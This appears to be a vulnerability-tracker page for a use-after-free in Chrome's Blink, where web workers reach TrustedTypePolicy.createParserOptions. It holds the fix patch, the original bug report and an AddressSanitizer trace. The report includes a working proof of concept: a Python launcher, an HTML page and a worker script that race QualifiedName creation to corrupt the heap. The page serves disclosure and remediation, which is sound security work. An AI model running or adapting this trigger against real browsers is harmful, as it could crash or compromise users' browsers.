Chrome · DOM
CVE-2026-76021
UAF in DOM
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Files Changed
third_party/blink/renderer/core/trustedtypes/trusted_type_policy.idlthird_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txtthird_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txtthird_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt
Patch
From ff42ae11308e4112049e830e69840619eee72f6d Mon Sep 17 00:00:00 2001 From: Daniel Vogelheim <[email protected]> Date: Wed, 05 Aug 2026 10:21:38 -0700 Subject: [PATCH] Expose TrustedTypesPolicy.createParserOptions only on Window. createParserOptions uses infrastructure that is main-thread only. Do not expose it in workers. Bug: 541854084 Change-Id: I24bb46376db864646b717b8f5fd5d7de3bf7d4b9 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8183808 Commit-Queue: Daniel Vogelheim <[email protected]> Reviewed-by: Noam Rosenthal <[email protected]> Cr-Commit-Position: refs/heads/main@{#1674274} --- diff --git a/third_party/blink/renderer/core/trustedtypes/trusted_type_policy.idl b/third_party/blink/renderer/core/trustedtypes/trusted_type_policy.idl index 32496436..62989962 100644 --- a/third_party/blink/renderer/core/trustedtypes/trusted_type_policy.idl +++ b/third_party/blink/renderer/core/trustedtypes/trusted_type_policy.idl @@ -12,5 +12,5 @@ [CallWith=Isolate, RaisesException] TrustedHTML createHTML(DOMString input, any... args); [CallWith=Isolate, RaisesException] TrustedScript createScript(DOMString input, any... args); [CallWith=Isolate, RaisesException] TrustedScriptURL createScriptURL(DOMString input, any... args); - [CallWith=Isolate, RaisesException, RuntimeEnabled=TrustedTypesCreateParserOptions] TrustedParserOptions createParserOptions(SetHTMLUnsafeOptions input); + [CallWith=Isolate, RaisesException, RuntimeEnabled=TrustedTypesCreateParserOptions, Exposed=Window] TrustedParserOptions createParserOptions(SetHTMLUnsafeOptions input); }; diff --git a/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt b/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt index cd9926db..c6db229 100644 --- a/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt +++ b/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt @@ -2126,7 +2126,6 @@ getter name method constructor method createHTML - method createParserOptions method createScript method createScriptURL interface TrustedTypePolicyFactory diff --git a/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt b/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt index 073539d..9f1cf04 100644 --- a/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt +++ b/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt @@ -2349,7 +2349,6 @@ [Worker] getter name [Worker] method constructor [Worker] method createHTML -[Worker] method createParserOptions [Worker] method createScript [Worker] method createScriptURL [Worker] interface TrustedTypePolicyFactory diff --git a/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt b/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt index 347d050..a9efe06 100644 --- a/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt +++ b/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt @@ -2027,7 +2027,6 @@ [Worker] getter name [Worker] method constructor [Worker] method createHTML -[Worker] method createParserOptions [Worker] method createScript [Worker] method createScriptURL [Worker] interface TrustedTypePolicyFactory
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt b/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt
index cd9926db..c6db229 100644
--- a/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt
+++ b/third_party/blink/web_tests/http/tests/serviceworker/webexposed/global-interface-listing-service-worker-expected.txt
@@ -2126,7 +2126,6 @@
getter name
method constructor
method createHTML
- method createParserOptions
method createScript
method createScriptURL
interface TrustedTypePolicyFactory
diff --git a/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt b/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt
index 073539d..9f1cf04 100644
--- a/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt
+++ b/third_party/blink/web_tests/webexposed/global-interface-listing-dedicated-worker-expected.txt
@@ -2349,7 +2349,6 @@
[Worker] getter name
[Worker] method constructor
[Worker] method createHTML
-[Worker] method createParserOptions
[Worker] method createScript
[Worker] method createScriptURL
[Worker] interface TrustedTypePolicyFactory
diff --git a/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt b/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt
index 347d050..a9efe06 100644
--- a/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt
+++ b/third_party/blink/web_tests/webexposed/global-interface-listing-shared-worker-expected.txt
@@ -2027,7 +2027,6 @@
[Worker] getter name
[Worker] method constructor
[Worker] method createHTML
-[Worker] method createParserOptions
[Worker] method createScript
[Worker] method createScriptURL
[Worker] interface TrustedTypePolicyFactory
Loading diff…
Original Bug Report
reported by [email protected]
UAF in QualifiedName via blink::Sanitizer::getFrom
Vulnerability Report
This is a discovery of Project BigSleep (w/ Grape, a variant analysis mode).
The previous patch (cbb47f9c5a3472d933478462669f8d070f1ffae7) prevented a data race/UAF by eagerly initializing specific static QualifiedName objects on the main thread so that they wouldn’t be initialized concurrently by Web Workers.
However, the TrustedTypePolicy interface exposes the createParserOptions(SetHTMLUnsafeOptions) method to workers (Exposed=(Window, Worker) in IDL).
As demonstrated in the poc_sanitizer_worker.js, when a Web Worker invokes policy.createParserOptions() with a user-provided configuration (SanitizerConfig), it forces the instantiation of a Sanitizer object in C++ (Sanitizer::Create). Sanitizer::setFrom dynamically iterates through the configuration and instantiates new QualifiedName objects directly on the worker thread.
Because the QualifiedNameCache is a lockless process-global hash set designed for the main thread, this concurrent mutation from the worker thread leads directly to the heap-use-after-free when racing with main-thread accesses.
Impacted Version
We test the poc on 153.0.7979.3 (get_asan_chrome.py) in gLinux
PoC
import subprocess
import time
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import sys
import os
def run_server():
server = HTTPServer(('localhost', 8063), SimpleHTTPRequestHandler)
server.serve_forever()
t = threading.Thread(target=run_server, daemon=True)
t.start()
time.sleep(1)
env = os.environ.copy()
env["ASAN_OPTIONS"] = "halt_on_error=1,abort_on_error=1,handle_abort=1,symbolize=1,allocator_may_return_null=1"
p = subprocess.Popen(["/path/to/asan-build/153.0.7979.3/chrome", "--headless=new", "--no-sandbox", "--enable-blink-features=TrustedTypesCreateParserOptions,SanitizerAPI,SetHTMLCanRunScripts", "--disable-web-security", "http://localhost:8063/poc_sanitizer_http.html"], env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
start_time = time.time()
while True:
line = p.stdout.readline()
if not line:
break
sys.stdout.write(line)
sys.stdout.flush()
p.kill()
<!DOCTYPE html>
<html>
<body>
<script>
for (let i = 0; i < 48; i++) {
new Worker('poc_sanitizer_worker.js');
}
let policy = trustedTypes.createPolicy('default2', {
createHTML: s => s,
createParserOptions: options => options
});
let iter = 0;
setInterval(() => {
let elements = [];
for(let k=0; k<100; k++) {
let name = "tag_main_" + iter + "_" + Math.random().toString(36).substring(2);
elements.push(name);
}
let opt = { sanitizer: { elements: elements } };
policy.createParserOptions(opt);
iter++;
}, 0);
</script>
</body>
</html>
// poc_sanitizer_worker.js
let policy = trustedTypes.createPolicy('default', {
createHTML: s => s,
createParserOptions: options => options
});
let iter = 0;
while (true) {
try {
let elements = [];
for(let k=0; k<100; k++) {
let name = "tag_" + iter + "_" + Math.random().toString(36).substring(2);
elements.push(name);
}
let opt = { sanitizer: { elements: elements } };
policy.createParserOptions(opt);
iter++;
} catch (e) {}
}
Reproduce step
- Download the chrome 153.0.7979.3 via get_asan_chrome.py
- put all three files in one dir, set chrome path to the asan chrome and run the run_poc.py.
ASan Trace
python3 cbb47f9c5a3472d933478462669f8d070f1ffae7_poc.py | ~/workspace/validate-chromium/src/tools/valgrind/asan/asan_symbolize.py
127.0.0.1 - - [02/Aug/2026 18:49:19] "GET /poc_sanitizer_http.html HTTP/1.1" 200 -
127.0.0.1 - - [02/Aug/2026 18:49:20] code 404, message File not found
127.0.0.1 - - [02/Aug/2026 18:49:20] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [02/Aug/2026 18:49:20] "GET /poc_sanitizer_worker.js HTTP/1.1" 200 -
=================================================================
==3548937==ERROR: AddressSanitizer: heap-use-after-free on address 0x7a035180a848 at pc 0x55fb7e174c24 bp 0x7b70072e0250 sp 0x7b70072e0248
READ of size 8 at 0x7a035180a848 thread T13 (DedicatedWorker)
==3548937==WARNING: invalid path to external symbolizer!
==3548937==WARNING: Failed to use and restart external symbolizer!
#0 0x55fb7e174c23 in blink::QualifiedName::QualifiedName(blink::AtomicString const&, blink::AtomicString const&, blink::AtomicString const&) ./../../third_party/blink/renderer/core/dom/qualified_name.cc:83:11
#1 0x55fb7c952795 in blink::Sanitizer::getFrom(blink::String const&, blink::String const&) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1287:10
#2 0x55fb7c936ad0 in blink::Sanitizer::getFrom(blink::V8UnionSanitizerElementNamespaceWithAttributesOrString const*) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1304:12
#3 0x55fb7c931952 in blink::Sanitizer::setFrom(blink::SanitizerConfig const*, bool) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1144:36
#4 0x55fb7c92fdea in blink::Sanitizer::Create(blink::SanitizerConfig const*, blink::Sanitizer::Mode, blink::ExceptionState&) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:69:29
#5 0x55fb7cfba669 in blink::TrustedTypePolicy::createParserOptions(v8::Isolate*, blink::SetHTMLUnsafeOptions const*, blink::ExceptionState&) ./../../third_party/blink/renderer/core/trustedtypes/trusted_type_policy.cc:186:15
#6 0x55fb7f0f5eb5 in blink::(anonymous namespace)::v8_trusted_type_policy::CreateParserOptionsOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) ./gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy.cc:156:39
#7 0x55fb5d0a6bd3 in Builtins_CallApiCallbackGeneric ???:0:0
#8 0x55fb5d0a5000 in Builtins_InterpreterEntryTrampoline ???:0:0
#9 0x55fb5d0a1c1b in Builtins_JSEntryTrampoline ???:0:0
#10 0x55fb5d0a196a in Builtins_JSEntry ???:0:0
#11 0x55fb57a856a5 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) ./../../v8/src/execution/execution.cc:507:22
#12 0x55fb57a88753 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) ./../../v8/src/execution/execution.cc:607:10
#13 0x55fb5765af94 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) ./../../v8/src/api/api.cc:2069:7
#14 0x55fb7915c3d5 in blink::V8ScriptRunner::RunCompiledScript(v8::Isolate*, v8::Local<v8::Script>, v8::Local<v8::Data>, blink::ExecutionContext*) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:508:22
#15 0x55fb7915dda5 in blink::V8ScriptRunner::CompileAndRunScript(blink::ScriptState*, blink::ClassicScript*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:631:22
#16 0x55fb7c9f1192 in blink::ClassicScript::RunScriptOnScriptStateAndReturnValue(blink::ScriptState*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/core/script/classic_script.cc:227:10
#17 0x55fb7d046ce9 in blink::WorkerGlobalScope::RunWorkerScript() ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:589:15
#18 0x55fb7d04611d in blink::WorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:532:5
#19 0x55fb7cff8a5d in blink::DedicatedWorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:636:22
#20 0x55fb7d045bfb in blink::WorkerGlobalScope::EvaluateClassicScript(blink::KURL const&, blink::String, std::__Cr::unique_ptr<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>, std::__Cr::default_delete<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>>>, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:515:3
#21 0x55fb7cff4628 in blink::DedicatedWorkerGlobalScope::DidFetchClassicScript(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:524:3
#22 0x55fb7cffaa81 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::DedicatedWorkerGlobalScope::*&&)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, v8_inspector::V8StackTraceId&&>, base::internal::BindState<true, true, false, void (blink::DedicatedWorkerGlobalScope::*)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, v8_inspector::V8StackTraceId>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#23 0x55fb7d03da36 in blink::WorkerClassicScriptLoader::OnFinishedLoadingWorkerMainScript() ./../../base/functional/callback.h:155:12
#24 0x55fb62ab2e3e in blink::WorkerMainScriptLoader::NotifyCompletionIfAppropriate() ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:281:13
#25 0x55fb62ab3a6d in blink::WorkerMainScriptLoader::OnReadable(unsigned int) ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:243:7
#26 0x55fb62ab45c4 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WorkerMainScriptLoader::* const&)(unsigned int), cppgc::internal::BasicPersistent<blink::WorkerMainScriptLoader, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy> const&>, base::internal::BindState<true, true, false, void (blink::WorkerMainScriptLoader::*)(unsigned int), cppgc::internal::BasicPersistent<blink::WorkerMainScriptLoader, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) ./../../base/functional/bind_internal.h:740:12
#27 0x55fb56bde2fe in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & ./../../base/functional/callback.h:346:12
#28 0x55fb56bde09a in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) ./../../base/functional/bind_internal.h:673:12
#29 0x55fb6c95e440 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & ./../../base/functional/callback.h:346:12
#30 0x55fb6c95dd67 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) ./../../mojo/public/cpp/system/simple_watcher.cc:286:14
#31 0x55fb6c95ef47 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#32 0x55fb6ba711a9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) ./../../base/functional/callback.h:155:12
#33 0x55fb6bae09b4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) ./../../base/task/common/task_annotator.h:114:5
#34 0x55fb6badf745 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
#35 0x55fb6b928e45 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ./../../base/message_loop/message_pump_default.cc:66:55
#36 0x55fb6bae214c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#37 0x55fb6b9ee998 in base::RunLoop::Run(base::Location const&) ./../../base/run_loop.cc:135:14
#38 0x55fb6288f32d in blink::scheduler::NonMainThreadImpl::SimpleThreadImpl::Run() ./../../third_party/blink/renderer/platform/scheduler/worker/non_main_thread_impl.cc:190:14
#39 0x55fb6bbd8ad2 in base::(anonymous namespace)::ThreadFunc(void*) ./../../base/threading/platform_thread_posix.cc:102:13
#40 0x55fb50b472fa in asan_thread_start(void*) _asan_rtl_:0
0x7a035180a848 is located 364616 bytes inside of 524288-byte region [0x7a03517b1800,0x7a0351831800)
freed by thread T16 (DedicatedWorker) here:
#0 0x55fb50b497ea in __interceptor_free ??:0:0
#1 0x55fb7e178a46 in blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>::RehashTo(blink::QualifiedName::QualifiedNameImpl**, unsigned int, blink::QualifiedName::QualifiedNameImpl**) ./../../third_party/blink/renderer/platform/wtf/allocator/partition_allocator.h:73:5
#2 0x55fb7e17843c in blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>::Expand(blink::QualifiedName::QualifiedNameImpl**) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:1784:22
#3 0x55fb7e17811e in blink::HashTableAddResult<blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>, blink::QualifiedName::QualifiedNameImpl*> blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>::InsertPassingHashCode<blink::HashSetTranslatorAdapter<blink::QNameComponentsTranslator>, blink::QualifiedNameData&, blink::QualifiedNameData&>(blink::QualifiedNameData&, blink::QualifiedNameData&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:1338:13
#4 0x55fb7e174940 in blink::QualifiedName::QualifiedName(blink::AtomicString const&, blink::AtomicString const&, blink::AtomicString const&) ./../../third_party/blink/renderer/platform/wtf/hash_set.h:331:17
#5 0x55fb7c952795 in blink::Sanitizer::getFrom(blink::String const&, blink::String const&) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1287:10
#6 0x55fb7c936ad0 in blink::Sanitizer::getFrom(blink::V8UnionSanitizerElementNamespaceWithAttributesOrString const*) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1304:12
#7 0x55fb7c931952 in blink::Sanitizer::setFrom(blink::SanitizerConfig const*, bool) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1144:36
#8 0x55fb7c92fdea in blink::Sanitizer::Create(blink::SanitizerConfig const*, blink::Sanitizer::Mode, blink::ExceptionState&) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:69:29
#9 0x55fb7cfba669 in blink::TrustedTypePolicy::createParserOptions(v8::Isolate*, blink::SetHTMLUnsafeOptions const*, blink::ExceptionState&) ./../../third_party/blink/renderer/core/trustedtypes/trusted_type_policy.cc:186:15
#10 0x55fb7f0f5eb5 in blink::(anonymous namespace)::v8_trusted_type_policy::CreateParserOptionsOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) ./gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy.cc:156:39
#11 0x55fb5d0a6bd3 in Builtins_CallApiCallbackGeneric ???:0:0
#12 0x55fb5d0a5000 in Builtins_InterpreterEntryTrampoline ???:0:0
#13 0x55fb5d0a1c1b in Builtins_JSEntryTrampoline ???:0:0
#14 0x55fb5d0a196a in Builtins_JSEntry ???:0:0
#15 0x55fb57a856a5 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) ./../../v8/src/execution/execution.cc:507:22
#16 0x55fb57a88753 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) ./../../v8/src/execution/execution.cc:607:10
#17 0x55fb5765af94 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) ./../../v8/src/api/api.cc:2069:7
#18 0x55fb7915c3d5 in blink::V8ScriptRunner::RunCompiledScript(v8::Isolate*, v8::Local<v8::Script>, v8::Local<v8::Data>, blink::ExecutionContext*) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:508:22
#19 0x55fb7915dda5 in blink::V8ScriptRunner::CompileAndRunScript(blink::ScriptState*, blink::ClassicScript*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:631:22
#20 0x55fb7c9f1192 in blink::ClassicScript::RunScriptOnScriptStateAndReturnValue(blink::ScriptState*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/core/script/classic_script.cc:227:10
#21 0x55fb7d046ce9 in blink::WorkerGlobalScope::RunWorkerScript() ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:589:15
#22 0x55fb7d04611d in blink::WorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:532:5
#23 0x55fb7cff8a5d in blink::DedicatedWorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:636:22
#24 0x55fb7d045bfb in blink::WorkerGlobalScope::EvaluateClassicScript(blink::KURL const&, blink::String, std::__Cr::unique_ptr<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>, std::__Cr::default_delete<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>>>, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:515:3
#25 0x55fb7cff4628 in blink::DedicatedWorkerGlobalScope::DidFetchClassicScript(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:524:3
#26 0x55fb7cffaa81 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::DedicatedWorkerGlobalScope::*&&)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, v8_inspector::V8StackTraceId&&>, base::internal::BindState<true, true, false, void (blink::DedicatedWorkerGlobalScope::*)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, v8_inspector::V8StackTraceId>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#27 0x55fb7d03da36 in blink::WorkerClassicScriptLoader::OnFinishedLoadingWorkerMainScript() ./../../base/functional/callback.h:155:12
#28 0x55fb62ab2e3e in blink::WorkerMainScriptLoader::NotifyCompletionIfAppropriate() ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:281:13
#29 0x55fb62ab3a6d in blink::WorkerMainScriptLoader::OnReadable(unsigned int) ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:243:7
previously allocated by thread T13 (DedicatedWorker) here:
#0 0x55fb50b49db8 in __interceptor_malloc ??:0:0
#1 0x55fb6bd067f3 in void* partition_alloc::PartitionRoot::Alloc<(partition_alloc::internal::AllocFlags)0>(unsigned long, char const*) ./../../base/allocator/partition_allocator/src/partition_alloc/internal/partition_root_internal.h:1307:56
#2 0x55fb7e178419 in blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>::Expand(blink::QualifiedName::QualifiedNameImpl**) ./../../third_party/blink/renderer/platform/wtf/allocator/partition_allocator.h:65:20
#3 0x55fb7e17811e in blink::HashTableAddResult<blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>, blink::QualifiedName::QualifiedNameImpl*> blink::HashTable<blink::QualifiedName::QualifiedNameImpl*, blink::QualifiedName::QualifiedNameImpl*, blink::IdentityExtractor, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::HashTraits<blink::QualifiedName::QualifiedNameImpl*>, blink::PartitionAllocator>::InsertPassingHashCode<blink::HashSetTranslatorAdapter<blink::QNameComponentsTranslator>, blink::QualifiedNameData&, blink::QualifiedNameData&>(blink::QualifiedNameData&, blink::QualifiedNameData&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:1338:13
#4 0x55fb7e174940 in blink::QualifiedName::QualifiedName(blink::AtomicString const&, blink::AtomicString const&, blink::AtomicString const&) ./../../third_party/blink/renderer/platform/wtf/hash_set.h:331:17
#5 0x55fb7c952795 in blink::Sanitizer::getFrom(blink::String const&, blink::String const&) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1287:10
#6 0x55fb7c936ad0 in blink::Sanitizer::getFrom(blink::V8UnionSanitizerElementNamespaceWithAttributesOrString const*) const ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1304:12
#7 0x55fb7c931952 in blink::Sanitizer::setFrom(blink::SanitizerConfig const*, bool) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:1144:36
#8 0x55fb7c92fdea in blink::Sanitizer::Create(blink::SanitizerConfig const*, blink::Sanitizer::Mode, blink::ExceptionState&) ./../../third_party/blink/renderer/core/sanitizer/sanitizer.cc:69:29
